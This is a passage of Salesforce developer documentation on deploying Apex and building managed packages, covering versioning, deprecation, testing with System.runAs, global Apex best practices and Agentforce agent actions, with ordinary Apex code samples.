Salesforce Extensions for VS Code and Code Builder are powered by Salesforce CLI and the Salesforce APIs.

[Salesforce Extensions for Visual Studio Code](#) support different deployment options based on your role and needs as a customer, system integrator, or independent software vendor (ISV) partner. Salesforce DX supports Org Development and Package Development models to authorize, create, and deploy code in your project. For information on how to deploy to a Salesforce org with Visual Studio Code, see [Salesforce Development Models](#).

Salesforce Code Builder is a web-based integrated development environment that has all the power and flexibility of Visual Studio Code in your web browser. For information on how to connect an org to your Code Builder environment and deploy your code, see *Code Builder: Quick Start*.

SEE ALSO:

[Salesforce Extensions for Visual Studio Code: Deploy and Retrieve Code](#)

[Salesforce DX Developer Guide: Develop Against Any Org](#)

[Salesforce CLI Command Reference: project deploy start](#)

Deploy Apex Using Metadata API

Use Metadata API to deploy customization information, such as custom object definitions for your org.

To deploy custom metadata, use the `Metadata.Operations.enqueueDeployment()` method to asynchronously deploy metadata to the current org. For more information, see [Operations Class](#).



Note: If a single deployment has over 2,000 Apex classes, [ApexCodeCoverage](#) objects for the deployed classes are deleted even if the deployment fails or is rolled back. [ApexCodeCoverageAggregate](#) objects aren't affected.

SEE ALSO:

[Metadata API Developer Guide: deploy\(\)](#)

[Using Salesforce Features with Apex: Metadata](#)

Deploy Apex Using Tooling API

Use Tooling API to deploy Apex classes or Apex triggers. Because Tooling API allows you to change just one element within a complex type, it is easy to deploy using Tooling API.

Use [ContainerAsyncRequest](#) to compile and deploy the changes with [ApexTriggerMember](#), [ApexComponentMember](#), and [ApexPageMember](#).

SEE ALSO:

[Tooling API: When to Use Tooling API](#)

Deploy Apex Using DevOps Center

Salesforce DevOps Center provides an improved experience around change and release management. Build a pipeline when you configure DevOps Center and use the pipeline to promote work items through the release lifecycle from development to production.

For information, see *Manage and Release Changes Easily and Collaboratively with DevOps Center*: [Promote Work Items Through Your Pipeline](#).

Apex in Managed Packages

Learn how to develop, distribute, and use managed Apex. Apex in managed packages can behave differently than Apex in unmanaged packages or Apex deployed directly to an org. Managed package developers and subscribers must understand these differences so that they can safely evolve their packages and integrations.

[Managed Package Types](#)

Salesforce supports the creation and distribution of Apex through different types of packages. Understand the distinctions between package types, and recognize that Apex behavior can vary across them.

[Develop and Distribute Apex for Managed Packages](#)

As an independent software vendor (ISV) or Salesforce partner, you can distribute Apex code to customer orgs by using managed packages. For first-generation managed packages (1GP) and migrated second-generation managed packages (2GP), use versioning to evolve components of your managed package gracefully without breaking existing customer integrations. Understand how global Apex in managed packages behaves and learn how to develop global Apex in managed packages specifically for agents.

[Use Apex Referenced by Managed Packages](#)

Learn how to use managed Apex effectively as a managed package subscriber.

[Safely Upgrade Packages from Developer and Subscriber Perspectives](#)

Learn how to upgrade a managed package safely through this extended example. See the actions that package developers and subscribers can take to ensure a smooth transition and safeguard the backwards compatibility of existing integrations.

Managed Package Types

Salesforce supports the creation and distribution of Apex through different types of packages. Understand the distinctions between package types, and recognize that Apex behavior can vary across them.

A *package* is a container that can be as small as an individual component or as large as a set of related apps. After creating a package, you can distribute it to other Salesforce users and orgs, including orgs outside of your company.

Developers can create unmanaged packages and managed packages. These package types have different use cases and characteristics.

[Unmanaged packages](#) are best suited for one-time drops of apps that require customization after installation. After the components are installed from an unmanaged package, the components can be edited in the org that they're installed in. The developer who created and uploaded the unmanaged package has no control over the installed components, and can't change or upgrade them.

Managed packages are ideal for commercial distribution through the [AppExchange](#). Unlike unmanaged packages, package developers can upgrade managed packages and push these changes to subscriber orgs. Preserving the backwards-compatibility of managed packages is the package developer's responsibility. However, Salesforce provides significant guardrails and tools that help package developers safely upgrade managed packages while minimizing the risk of introducing changes that may break existing code.

Salesforce supports [first-generation managed packages \(1GP\)](#) and [second-generation managed packages \(2GP\)](#). Salesforce also supports the [conversion and migration of 1GP managed packages to 2GP managed packages](#). For new apps, we recommend using 2GP managed packages, as they allow for source-driven development and flexible versioning. See [Why Switch to Second-Generation Managed Packaging](#) and [Comparison of First- and Second-Generation Managed Packages](#).

Apex classes and triggers from 1GP, 2GP, and migrated 2GP managed packages can behave differently depending on the managed package type. If a section of the *Apex Developer Guide* or the *Apex Reference Guide* doesn't specify whether a behavior applies to only 1GP or 2GP, then it applies to all managed package types.

SEE ALSO:

[ISVforce Guide](#)

[First-Generation Managed Packaging Developer Guide: Move to 2GP](#)

[Second-Generation Managed Packaging Developer Guide: Components Available in Second-Generation Managed Packages—Apex Class](#)

Develop and Distribute Apex for Managed Packages

As an independent software vendor (ISV) or Salesforce partner, you can distribute Apex code to customer orgs by using managed packages. For first-generation managed packages (1GP) and migrated second-generation managed packages (2GP), use versioning to evolve components of your managed package gracefully without breaking existing customer integrations. Understand how global Apex in managed packages behaves and learn how to develop global Apex in managed packages specifically for agents.

As you develop managed Apex, keep these points in mind.

- The code contained in an Apex class, trigger, or Visualforce component that's part of a managed package is obfuscated. You generally can't view this code in an installing org. The only exceptions are methods declared as `global`. You can view global method signatures in an installing org. In addition, license management organization users with the View and Debug Managed Apex permission can view their packages' obfuscated Apex classes when logged in to subscriber orgs via the Subscriber Support Console.
- 1GP managed packages each have a unique namespace. 2GP managed packages can have the same namespace as other 2GP managed packages. However, you can't associate a single 2GP managed package with more than one namespace. The namespace is prepended to your class's names, methods, variables, and so on, which helps prevent duplicate names in a subscriber's org.
- You can use the `@NamespaceAccessible` on page 112 annotation to make public Apex in a 2GP managed package available to other 2GP managed packages that use the same namespace.
- In a single transaction, you can reference only 10 unique namespaces. For example, suppose that you have an object that executes a class in a managed package when the object is updated. Then that class updates a second object, which in turn executes a different class in a different package. Even though the first package didn't access the second package directly, the access occurs in the same transaction. It's therefore included in the number of namespaces accessed in a single transaction.
- You can use the `@Deprecated` on page 94 annotation to identify methods, classes, exceptions, enums, interfaces, and variables that can no longer be referenced in subsequent releases of the managed package in which they reside. This annotation is useful when you're refactoring code in managed packages as the requirements evolve. See [Deprecate Apex in Managed Packages](#) on page 769.
- For 1GP and migrated 2GP managed packages, you can write test methods that change the package version context to a different package version by using the `System.runAs()` method. See [Testing Behavior in Package Versions](#) on page 770.
- You can't add a method to a global interface or an abstract method to a global class after you upload that interface or class in a Managed - Released package version. If the class in the Managed - Released package is virtual, the method that you can add to it must also be virtual and must have an implementation. If the class in the Managed - Release package extends another class, you can't remove the existing class's contract. See [Best Practices for Using Global Apex in Managed Packages](#) on page 772.
- Salesforce blocks managed package session IDs from authenticating anonymous Apex via Tooling API or SOAP API. Managed packages can't use `UserInfo.getSessionId()` to obtain a session ID and then use the session ID to execute anonymous Apex. This update is available to package subscribers starting in Summer '26 and is enforced in Summer '27. See [Block Execute Anonymous from Managed Packages \(Release Update\)](#). Instead, we recommend that managed packages interact with subscriber org code through standard mechanisms, such as a shared `global` interface and `Type.forName()`.

 **Note:** If a `ConnectApi` class has a dependency on Chatter, the code can be compiled and installed in orgs that don't have Chatter enabled. However, if Chatter isn't enabled, the code throws an error at run time. See [Packaging ConnectApi Classes](#) on page 462.

Apex Versioning in Managed Packages

A managed package component can exhibit different behavior in different package versions. By versioning managed Apex, you can add and refine components in the managed package, while maintaining backwards compatibility for existing subscribers.

Version Apex Code Behavior

Package developers can use conditional logic in Apex classes and triggers to exhibit different behavior for different versions. With this conditional logic, you can support existing behavior in classes and triggers in previous package versions while evolving the code.

Apex Code Items That Aren't Versioned

Some Apex items in managed packages can't be versioned. The changes that you make to these items are reflected across all package versions. Additionally, there are limitations to the changes that you can make to some of these items when they are used in Apex code in managed packages.

Deprecate Managed Apex

Use the `@Deprecated` annotation to specify Apex identifiers that subscribers can no longer reference in subsequent releases of the managed package. Deprecation is useful when you're refactoring code in managed packages as the requirements evolve.

Testing Versioned Behavior in Apex Code

When you change the behavior in an Apex class or trigger for different package versions, it's important to test that your code runs as expected in the different package versions. You can write test methods that change the package version context to a different package version by using the `System.runAs` method. You can only use `System.runAs` in a test method.

Best Practices for Using Global Apex in Managed Packages

As an independent software vendor (ISV) developer, understand when and how to use `global` Apex in managed packages. Learn design patterns that maximize flexibility and comply with the strict manageability rules applied to `global` Apex after your managed package's release. By following these best practices, you can improve the stability and maintainability of your API.

Design Managed Apex for Agentforce

As an independent software vendor (ISV) developer, you can build custom agent actions using Apex and distribute them in managed packages. To ensure that subscriber admins can declaratively configure your Apex agent actions and that Agentforce can invoke the actions at run time, follow these requirements and recommendations.

Apex Versioning in Managed Packages

A managed package component can exhibit different behavior in different package versions. By versioning managed Apex, you can add and refine components in the managed package, while maintaining backwards compatibility for existing subscribers.

A package version is a number that identifies the set of components uploaded in a package. The version number has the format *majorNumber.minorNumber.patchNumber* (for example, 2.1.3). The major and minor numbers increase to a chosen value during every major release. The *patchNumber* is generated and updated only for a patch release.

Unmanaged packages aren't upgradeable, so each package version is simply a set of components for distribution. A package version has more significance for managed packages. With managed packages, you can specify different component behavior based on the package version. This practice allows you to evolve the components in your managed package without breaking existing subscriber integrations.

When an existing subscriber installs a new package version, there's still only one instance of each component in the package. However, the components can emulate older versions. For example, a subscriber can use a managed package that contains an Apex class. If the publisher decides to deprecate a method in the Apex class and release a new package version, the subscriber still sees only one instance

of the Apex class after installing the new version. However, this Apex class can still emulate the previous version for any code that references the deprecated method in the older version.

SEE ALSO:

- [Version Apex Code Behavior](#)
- [Apex Code Items That Aren't Versioned](#)
- [Deprecate Managed Apex](#)
- [Testing Versioned Behavior in Apex Code](#)
- [Set Package Versions for Apex Classes and Triggers \(for package subscribers\)](#)

Version Apex Code Behavior

Package developers can use conditional logic in Apex classes and triggers to exhibit different behavior for different versions. With this conditional logic, you can support existing behavior in classes and triggers in previous package versions while evolving the code.

 **Note:** Starting in Summer '25, package subscribers can use Version Settings to specify the version of a migrated second-generation managed package (2GP) that an Apex class depends on. This functionality is already available to first-generation managed packages (1GP), but isn't yet supported in 2GP packages that weren't converted from a 1GP package. See [Apex Version Settings in Migrated Second-Generation Managed Packages \(2GP\)](#).

When subscribers install multiple versions of your package and write code that references Apex classes or triggers in your package, they must [select the version](#) that they're referencing. Within the Apex code that is being referenced in your package, you can conditionally execute different code paths based on the version setting of the calling Apex code that is making the reference. The package version setting of the calling code can be determined within the package code by calling the `System.requestVersion` method. In this way, package developers can determine the request context and specify different behavior for different versions of the package.

This example uses the `System.requestVersion` method and instantiates the `System.Version` class to define different behaviors in an Apex trigger for different package versions.

```
trigger oppValidation on Opportunity (before insert, before update) {

    for (Opportunity opp : Trigger.new){

        // Add a new validation to the package
        // Applies to versions of the managed package greater than 1.0
        if (System.requestVersion().compareTo(new Version(1,0)) > 0) {
            if (opp.Probability >= 50 && opp.Description == null) {
                opp.addError('All deals over 50% require a description');
            }
        }

        // Validation applies to all versions of the managed package.
        if (opp.IsWon == true && opp.LeadSource == null) {
            opp.addError('A lead source must be provided for all Closed Won deals');
        }
    }
}
```

For a full list of methods that work with package versions, see [Version Class](#) and the `System.requestVersion` method in [System Class](#).

The request context persists if a class in an installed package invokes a method of another class in the package. For example, imagine that a subscriber installs a GeoReports package that contains `CountryUtil` and `ContinentUtil` classes. The subscriber creates a `GeoReportsEx`

class and associates it with version 2.3 of the GeoReports package. If GeoReportsEx invokes a ContinentUtil method that internally invokes a CountryUtil method, the request context propagates from ContinentUtil to CountryUtil. Therefore, the `System.requestVersion` method in CountryUtil returns version 2.3 of the GeoReports package.

SEE ALSO:

- [Set Package Versions for Apex Classes and Triggers \(for package subscribers\)](#)
- [Safely Upgrade Packages from Developer and Subscriber Perspectives](#)

Apex Code Items That Aren't Versioned

Some Apex items in managed packages can't be versioned. The changes that you make to these items are reflected across all package versions. Additionally, there are limitations to the changes that you can make to some of these items when they are used in Apex code in managed packages.

As a package developer, you can add or remove these items from Apex in managed packages.

- `@Future`
- `@IsTest`
- `with sharing`
- `without sharing`
- `transient`

You can make limited changes to these Apex items in managed packages.

- `private`—can be changed to `global`
- `protected`—can be changed to `global`
- `public`—can be changed to `global`
- `abstract`—can be changed to `virtual` but can't be removed
- `final`—can be removed but can't be added

You can't remove or change these Apex items in managed packages.

- `global`
- `virtual`

You can add the `webservice` keyword, but once it has been added, it can't be removed.

 **Note:** You can't deprecate `webservice` methods or variables in managed package code.

If a package upgrade includes an explicit global constructor for a released global class that previously only had an implicit constructor, then the new, explicit constructor will be called from the subscriber. Also, you can't reduce the access modifier on the default constructor on a released global class in a package. See [Best Practices for Using Global Apex in Managed Packages](#) on page 772.

Deprecate Managed Apex

Use the `@Deprecated` annotation to specify Apex identifiers that subscribers can no longer reference in subsequent releases of the managed package. Deprecation is useful when you're refactoring code in managed packages as the requirements evolve.

Apex identifiers include methods, classes, exceptions, enums, interfaces, and variables. After you upload another package version as Managed — Released, new subscribers that install the latest package version can't see the deprecated identifiers. However, the identifiers still function for existing subscribers and API integrations. As the package developer, you can still reference deprecated identifiers internally.

 **Note:** You can't use the `@Deprecated` annotation in Apex classes or triggers in unmanaged packages.

You can use Managed — Beta package versions for evaluation and feedback with a pilot set of users in different Salesforce orgs. If you deprecate an Apex identifier, and then upload a version of the package as Managed — Beta, subscribers that install the package version still see the deprecated identifier in that package version. If the package developer then uploads a Managed — Released package version, subscribers will no longer see the deprecated identifier in the package version after they install it.

SEE ALSO:

[Best Practices for Using Global Apex in Managed Packages](#)

Testing Versioned Behavior in Apex Code

When you change the behavior in an Apex class or trigger for different package versions, it's important to test that your code runs as expected in the different package versions. You can write test methods that change the package version context to a different package version by using the `System.runAs` method. You can only use `System.runAs` in a test method.

This sample shows a trigger with different behavior for different package versions. For more information about defining different behavior for package versions, see [Version Apex Behavior](#) on page 768.

```
trigger oppValidation on Opportunity (before insert, before update) {

    for (Opportunity opp : Trigger.new){

        // Add a new validation to the package
        // Applies to versions of the managed package greater than 1.0
        if (System.requestVersion().compareTo(new Version(1,0)) > 0) {
            if (opp.Probability >= 50 && opp.Description == null) {
                opp.addError('All deals over 50% require a description');
            }
        }

        // Validation applies to all versions of the managed package.
        if (opp.IsWon == true && opp.LeadSource == null) {
            opp.addError('A lead source must be provided for all Closed Won deals');
        }
    }
}
```

The following test class uses the `runAs` method to verify the trigger's behavior with and without a specific version:

```
@IsTest
private class OppTriggerTests{

    static testMethod void testOppValidation(){

        // Set up 50% opportunity with no description
        Opportunity opp = new Opportunity();
        opp.Name = 'Test Job';
        opp.Probability = 50;
        opp.StageName = 'Prospect';
        opp.CloseDate = System.today();

        // Test running as latest package version
        try{
```

```

        insert opp;
    }
    catch(DMLException e){
        Assert.isTrue(
            e.getMessage().contains(
                'All deals over 50% require a description'),
            e.getMessage());
    }

    // Run test as managed package version 1.0
    System.runAs(new Version(1,0)){
        try{
            insert opp;
        }
        catch(DMLException e){
            Assert.IsFalse(false, e.getMessage());
        }
    }

    // Set up a closed won opportunity with no lead source
    opp = new Opportunity();
    opp.Name = 'Test Job';
    opp.Probability = 50;
    opp.StageName = 'Prospect';
    opp.CloseDate = System.today();
    opp.StageName = 'Closed Won';

    // Test running as latest package version
    try{
        insert opp;
    }
    catch(DMLException e){
        Assert.isTrue(
            e.getMessage().contains(
                'A lead source must be provided for all Closed Won deals'),
            e.getMessage());
    }

    // Run test as managed package version 1.0
    System.runAs(new Version(1,0)){
        try{
            insert opp;
        }
        catch(DMLException e){
            Assert.isTrue(
                e.getMessage().contains(
                    'A lead source must be provided for all Closed Won deals'),
                    e.getMessage());
        }
    }
}
}

```

Best Practices for Using Global Apex in Managed Packages

As an independent software vendor (ISV) developer, understand when and how to use `global` Apex in managed packages. Learn design patterns that maximize flexibility and comply with the strict manageability rules applied to `global` Apex after your managed package's release. By following these best practices, you can improve the stability and maintainability of your API.

 **Important:** We recommend using the `global` access modifier only when necessary. The API shape of `global` Apex, such as the name, parameters, and return type of `global` methods, is subject to strict manageability rules. You generally can't change the API shape of `global` Apex after it's released in a managed package.

The `global` modifier on page 69 provides the widest level of access. It makes your Apex classes, methods, interfaces, and variables accessible and callable from any Apex code outside of your package namespace, including code written by subscribers or other installed packages.

A key benefit of Apex in managed packages is Intellectual Property (IP) protection. Although `global` Apex signatures, such as `global` class and method names, parameters, and return types, are visible so subscribers can use your API, the underlying implementation logic within your methods is encapsulated and hidden. This allows you to provide powerful functionality without exposing your proprietary source code.

When to Use Global Apex in Managed Packages

Use `global` Apex when:

- Exposing a global API. You intend for subscribers to use your package's core services by directly calling your Apex methods or instantiating your classes from their own Apex code, such as from their triggers, batch classes, or other custom logic.
- Providing extensibility points. You're designing `global` interfaces or `global abstract` base classes that subscribers must implement or extend to customize or enhance specific behaviors within your app.
- Creating web service endpoints. You're exposing Apex classes to handle incoming REST API requests or SOAP web service calls from external systems. These endpoint classes and their methods must be declared `global` to receive calls from external systems.

Avoid `global` Apex for:

- Internal package functionality, meaning any Apex code, such as business logic, helper classes, or utility methods, that's designed exclusively for use within your managed packages. For these internal components, [access modifiers](#) on page 69 such as `public`, `protected`, or `private` avoid the manageability constraints of `global`. You can even combine the `public` access modifier with the `@NamespaceAccessible` annotation to allow access throughout your package namespace.
- Controller methods, or methods within your package that are called by your Lightning web components (LWC) and aren't used by your subscribers directly. Make these methods `public` and annotate them with `@AuraEnabled` on page 94.
- Method signatures with external `global` types. Avoid using `global` Apex types from another managed package as parameters or return types in your own `global` methods. This practice locks your package into a rigid dependency. If the other package later changes or deprecates the types that your `global` signature relies on, it can become difficult or impossible for your package to adopt newer versions of the dependency package.

Global Apex Manageability Rules

The decision to use `global` is significant because it subjects your code to strict *manageability rules* after your package is released. Manageability rules protect subscribers against package upgrades that break existing functionality. These rules make your initial `global` Apex design critical, as changes in later versions are heavily restricted.

After your managed package is released, these restrictions apply to the `global` Apex in the package.

- You can't delete a `global` class, interface, method, variable, or enum.
- You can't change the name of a `global` class, interface, method, variable, or enum.

- You can't change the access modifier of a `global` class, interface, method, variable, or enum from `global` to another access modifier.
- You can't change a `global` method's signature, including the order, number, and types of parameters, as well as the method's return type. You can add new methods that overload existing `global` methods.
- You can't change the value of a `global static final` variable.
- You can't change the data type of a `global` variable to an incompatible one.
- You can't change most annotations or modifiers on `global` members. For example, you can't add or remove the `@AuraEnabled` annotation or any [Apex REST annotation](#) on page 329 from a `global` method. Similarly, you can't add or remove the `static` or `final` keyword from a `global` method.
- You can't remove a zero-argument constructor from a `global` class. This restriction applies both to explicitly deleting a constructor you wrote, and to implicitly removing the default constructor by adding a new constructor that requires arguments.
- You can't remove a `global` interface from a `global` class.
- You can't extend a `global` interface with a new interface.
- You can't change a `global` class to an interface, or vice versa.
- You can't add `abstract` methods to `global` interfaces or `abstract` classes.
- You can't add `final` methods to `global virtual` or `global abstract` classes.
- You can't remove or reorder `global` enum values, although you can add new enum values.
- You can't add, remove or change that a global class extends another global class.

Given the strict manageability rules, a thoughtful design of your package's global API is crucial. These best practices for defining and managing `global` Apex promote flexibility, reduce maintenance, and help create a stable, evolvable API.

Only Use Global When Necessary

When designing `global` Apex, expose the fewest `global` members possible. Every `global` part of your package is a contract with your subscribers. Fewer `global` members mean fewer restrictions and more freedom for you to update your package later.

Before making something `global`, consider these questions.

- Is it truly necessary? Can you use `public` instead? For example, use `public` for access only by other Apex within the same package, or `public` and `@NamespaceAccessible` for access only by other Apex in packages that have the same namespace.
- Are there other designs? Can you achieve the same result without making methods or classes `global`?

Delegate from Thin Global Entry Points

Make your `global` classes and methods act only as thin entry points. Place any business logic or complex processes in `public` classes and methods within your package. The `global` method then calls these `public` methods.

Delegating logic to `public` classes and methods promotes:

- Flexibility. You can freely add new features or completely change the internal public implementation of your service in future versions without altering the `global` method signature.
- Maintainability. Fixing bugs and refactoring your existing business logic is now safer and lower-risk because the work is decoupled from the stable global API contract that your subscribers depend on.
- Testability. Your `public` business logic classes can be unit tested thoroughly and independently of their `global` entry point.



Example: In this example, `MyPackageApi.greetUsers` is the stable `global` contract. The actual work happens in `createGreetings`, which is `public` and can be easily modified in future package versions as long as the `greetUsers`

signature in `MyPackageApi` remains unchanged. For example, the ISV developer can later optimize `createGreetings` or add new helper methods without violating `global` Apex manageability rules.

```
// --- ISV's Managed Package Code ---
// Global Entry Point
global with sharing class MyPackageApi {
    // Note: This is a simplified example using a primitive data type. For a
    // more flexible and future-proof design, we recommend using parameter
    // objects for global method signatures, as explained in the next section.
    global static List<String> greetUsers(List<String> userNames) {
        // Delegate directly to a public class to do the actual work.
        // GreetingService is a 'public' class within your package.
        GreetingService service = new GreetingService();
        return service.createGreetings(userNames);
    }
}

// Public Class (Lives inside your package)
// This class can be updated easily in future package versions.
public with sharing class GreetingService {
    // This public method contains all the business logic to process a list of names.

    public List<String> createGreetings(List<String> names) {
        List<String> greetings = new List<String>();
        // Input validation and error handling, e.g. Return an empty list if input is
        // null or empty.
        // Process each name in the list.
        for (String name : names) {
            greetings.add('Hello, ' + name + '!');
        }
        return greetings;
    }

    // If needed, you can freely add private methods here
    private void someHelperMethod() {
        // ...
    }
}

// --- Subscriber Code ---
// Subscriber creates a list and calls the global method
List<String> welcomeMessages = TheIsvNamespace.MyPackageApi.greetUsers(
    new List<String>{'Jane Doe', 'Rose Gonzalez'});
// The output is a corresponding list of greetings.
// welcomeMessages will be: ['Hello, Jane Doe!', 'Hello, Rose Gonzalez!']
```

Use Parameter Objects for Global Method Inputs and Return Types

Using primitive data types, such as `String` or `ID`, directly in `global` method signatures creates a rigid contract that you can't change. To avoid this restriction, we recommend using custom `global` Apex classes as parameter objects for both inputs and outputs. This pattern provides a stable API contract that's evolvable, safer, and readable for subscribers.

Benefits of using parameter objects include:

- **Evolvability.** You can add new parameters to your API by adding new properties to your input or output classes. The `global` method signature itself never changes, which avoids breaking changes.
- **Safety and discoverability.** Subscribers get compile-time safety and code completion while constructing the request object, which reduces the risk of run-time errors from typos or incorrect data types.
- **Readability.** Grouping related parameters into a dedicated class makes your method signature clean and its purpose clear. For example, `getCoordinates(Address location)` is easier for your subscribers to understand and use than `getCoordinates(String street, String city, String state, String zip, ...)`.

Despite the benefits of using parameter objects, consider these costs.

- **Increased upfront complexity.** This pattern requires more initial code, such as multiple classes, and can be excessive for simple actions that aren't expected to change.
- **Expanded global surface area.** Although the primary method signature remains stable, each global property added to the input object becomes a new, permanent part of your package's API.



Example: In this example, the `GeocodingService.getCoordinates` method is the global contract. It uses the custom `global` `AddressRequest` class as its input, and the custom `global` `GeolocationResponse` class as its output.

```
// --- ISV's Managed Package Code ---
// The global entry point class contains the global method and input & output wrapper
// inner classes.
global with sharing class GeocodingService {
    // 1. The Global Method
    // The signature is clean, using the inner classes for its input parameter and
    // return type.
    global static GeolocationResponse getCoordinates(AddressRequest location) {
        // --- Internal logic to process the request ---
        // We recommend calling a public method to delegate all business logic. Skipping
        // this for brevity in this example
        // This could involve callouts to an external geocoding service.
        // For this example, we will return mock data.
        if (location.postalCode == '94105') {
            return new GeolocationResponse(37.7749, -122.4194);
        } else {
            return new GeolocationResponse(0, 0);
        }
    }

    // 2. The Input Parameter Object (as an inner class)
    // A simple inner class with global properties to bundle input parameters.
    global with sharing class AddressRequest {
        global String street;
        global String city;
        global String state;
        global String postalCode;

        // A constructor helps ensure required fields are provided.
        global AddressRequest(String street, String city, String state, String
postalCode) {
            this.street = street;
            this.city = city;
            this.state = state;
            this.postalCode = postalCode;
        }
    }
}
```

```

    }

    // 3. The Output Parameter Object (as an inner class)
    // A simple inner class to provide a structured result.
    global with sharing class GeolocationResponse {
        // Using 'private set' makes these properties read-only for subscribers.
        // @AuraEnabled makes these properties visible to Lightning web components,
        if necessary.
        @AuraEnabled global Decimal latitude { get; private set; }
        @AuraEnabled global Decimal longitude { get; private set; }

        // This constructor is public, not global, so subscribers can't create their
        own response objects.
        public GeolocationResponse(Decimal lat, Decimal lon) {
            this.latitude = lat;
            this.longitude = lon;
        }
    }
}

// --- Subscriber Code ---
// The subscriber's experience is clean and type-safe.
// 1. Create an instance of the input object, referencing it via the outer class.
TheIsvNamespace.GeocodingService.AddressRequest sfAddress = new
TheIsvNamespace.GeocodingService.AddressRequest(
    '415 Mission St',
    'San Francisco',
    'CA',
    '94105'
);

// 2. Call the global method with the single parameter object.
TheIsvNamespace.GeocodingService.GeolocationResponse coordinates =
TheIsvNamespace.GeocodingService.getCoordinates(sfAddress);

// 3. Process the structured, strongly-typed result.
// For this example we will just log the results.
System.debug('Coordinates found: ' + coordinates.latitude + ', ' +
coordinates.longitude);

```

Alternative for Unpredictable Inputs: The Map Pattern

For scenarios where the inputs aren't known at compile time, you can use a Map for your method's input parameters. An example signature with this pattern is `global static GeolocationResponse processUnstructuredRequest(Map<String, Object> inputs)`.

⚠ Important: Use this pattern with caution. This pattern isn't recommended for return types.

Accepting a Map allows the subscriber to construct the Map and populate the keys and values themselves. Although this pattern provides maximum flexibility, returning a Map forces the subscriber to guess key names and data types, which leads to fragile code.

Additionally, using a Map for inputs sacrifices compile-time safety and discoverability. Subscribers must rely entirely on documentation to know the required keys and their data types. Simple typos in map keys can result in hard-to-debug run-time errors instead of compile-time errors.

 **Note:** The standard [Callable interface](#) uses the Map pattern through its `call(String action, Map<String, Object> args)` method. However, this method returns a generic Object, which forces subscribers to cast the response and risk run-time errors. It creates a single, generic entry point that can perform many different functions based on the action string. For a single-purpose action that accepts unstructured inputs, a custom method such as `processUnstructuredRequest` is clearer and safer.

Instead of using the Map pattern, prefer strongly-typed parameter objects as shown in the [Use Parameter Objects for Global Method Inputs and Return Types](#) on page 774 section. Reserve the Map pattern for advanced use cases where the inputs are truly unpredictable and its risks are acceptable, but always return a strongly-typed object.

Use Global Interfaces with Factory Methods

The *facade pattern* is effective if you want to define a capability and then provide one or more ways to use it. In this pattern, a global interface defines the capability, and the public classes that implement the interface define how to use the capability. A global factory method gives the subscriber the specific implementation of the interface.

Benefits of using the facade pattern include:

- You can change the public class that does the work as long as it still follows the global interface rules.
- You can offer new implementations of the interface later.

 **Example:** In this example, `Notifier` is the **global** contract, and the **public** class `EmailNotifierImpl` does the work. Because the factory class is **global** but the classes that implement the `Notifier` interface are **public**, the ISV developer can later change or add to these classes. For example, if the ISV developer later wants to offer an SMS notifier, they can add `getSmsNotifier()` to the factory class and implement a new **public** `SmsNotifierImpl` class.

```
// --- ISV's Managed Package Code ---
// Global Interface - Defines a capability
global interface Notifier {
    global void send(String message);
}

// Global Factory Class - Provides instances
global with sharing class NotificationFactory {
    global static Notifier getEmailNotifier() {
        return new EmailNotifierImpl(); // EmailNotifierImpl is public
    }
}

// Public Implementation (Lives inside your package)
public with sharing class EmailNotifierImpl implements Notifier {
    public void send(String message) {
        // Logic to send an email (simplified here)
        System.debug('Emailing: ' + message);
    }
}

// --- Subscriber Code ---
// Subscriber gets an instance of a Notifier
Notifier myEmailer = NotificationFactory.getEmailNotifier();

// Subscriber uses the interface method
myEmailer.send('Welcome to our service!'); // Outputs: Emailing: Welcome to our service!
```

Strategies for Retiring Global Apex

Even though [deprecating Apex](#) on page 769 only affects future versions of your package, phasing out a `global` Apex member requires careful planning and clear communication to prevent subscriber disruption.

Here's some recommendations for effectively retiring a `global` Apex member.

- Communicate early and clearly. Inform subscribers well in advance—ideally, multiple release cycles—of any deprecation. Explain reasons, timelines, and migration paths. Update the documentation, and share it prominently.
- Provide alternatives. Release well-documented and robust alternatives before or concurrent with the deprecation announcement.
- Implement soft deprecation with non-breaking warnings.
 - Add the `@Deprecated` annotation to the `global` member. This annotation generates compile-time warnings in developer tools, but doesn't alter run-time behavior.
 - Consider run-time logging when the deprecated member is invoked, guiding subscribers to the new alternative.



Note: You can't remove the `@Deprecated` annotation to undeprecate something in Apex after you've released a package version where that item in Apex is deprecated. You also can't add new `global` access modifiers to a `@Deprecated` type.

- Enforce non-operation with exceptions. Change the code to throw an informative exception, such as `FeatureDeprecatedException('Method X is retired. Use Method Y.')`. This breaking change at run time stops the old logic from running and forces attention to the deprecation. However, any breaking change requires extensive prior communication.
- Retire code for obsolete `global` Apex. After ample time and communication, confirm that subscribers are no longer using the deprecated `global` member. Then minimize the member's internal code. Although the `global` signature must remain, its logic can become non-operational (no-op), return a safe default, or throw a specific `Feature Retired` exception. Implementing these changes reduces the risk and effort of maintaining the old code.

Always thoroughly test changes related to deprecating `global` Apex, including testing your package's behavior if a subscriber attempts to call the deprecated member. The goal is a graceful transition for your subscribers.

SEE ALSO:

[Access Modifiers](#)

[Apex Class Definition](#)

[Exposing Apex Classes as REST Web Services](#)

[Exposing Apex Methods as SOAP Web Services](#)

[NamespaceAccessible Annotation](#)

[Deprecate Managed Apex](#)

[Apex Reference Guide: Callable Interface](#)

[Second-Generation Managed Packaging Developer Guide: Components Available in Second-Generation Managed Packages—Apex Class](#)

Design Managed Apex for Agentforce

As an independent software vendor (ISV) developer, you can build custom agent actions using Apex and distribute them in managed packages. To ensure that subscriber admins can declaratively configure your Apex agent actions and that Agentforce can invoke the actions at run time, follow these requirements and recommendations.

Use Global Apex

For Agentforce to use Apex [agent actions](#) in managed packages, these Apex members must have the [global access modifier](#) on page 69.

- The Apex class containing the [@InvocableMethod](#) on page 96 that defines the agent action.
- The input wrapper class that defines the parameters an admin can configure for the action, and the output wrapper class that defines the structured result returned to Agentforce.
- All [@InvocableVariable](#) on page 102 members within these input and output wrapper classes.
- Any custom Apex data types used as properties in your wrapper classes.

 **Important:** If any of these Apex members aren't [global](#), then the Apex agent action can't be invoked by Agentforce at run time.

These Apex members must be [global](#) because Agentforce agents currently can't be packaged directly, and therefore can't have a namespace. By definition, this means that Apex agent actions don't have access to non-[global](#) Apex, such as [public](#) Apex, that's part of a managed package and does have a namespace.

Importantly, managed [global](#) Apex is subject to stricter manageability rules than managed non-[global](#) Apex. See the [Global Apex Manageability Rules](#) on page 772 section of [Best Practices for Using Global Apex in Managed Packages](#) on page 772.

Although [global](#) Apex is required for any direct entry point to an agent action, delegate any business logic or heavy lifting to [public](#) classes and methods. See the [Delegate from Thin Global Entry Points](#) on page 773 section of [Best Practices for Using Global Apex in Managed Packages](#) on page 772.

